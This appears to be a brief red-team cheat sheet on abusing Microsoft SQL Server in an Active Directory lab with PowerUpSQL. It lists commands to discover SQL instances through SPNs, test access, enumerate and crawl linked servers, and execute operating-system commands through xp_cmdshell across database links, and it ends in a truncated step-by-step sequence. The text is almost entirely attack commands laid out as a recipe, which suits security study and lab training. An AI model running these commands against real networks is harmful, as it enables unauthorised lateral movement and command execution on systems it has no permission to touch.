MSSQL Abuse

Discovery (SPN Scanning)
Get-SQLInstanceDomain

• Check Accessibility
Get-SQLConnectionTestThreaded

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -
Verbose 

• Gather Information
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Look for links to remote servers
Get-SQLServerLink -Instance dcorp-mssql -Verbose
Or
select * from master..sysservers

Enumerating Database Links
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose

Executing Commands
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query
"exec master..xp_cmdshell 'whoami'"

Use PowerUpSQL.ps1

Step 1:
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Step 2:
Get-SQLServerLink -Instance dcorp-mssql -Verbose

Step 3:
Invoke-SQLOSCmd -Verbose -Instance 

Last updated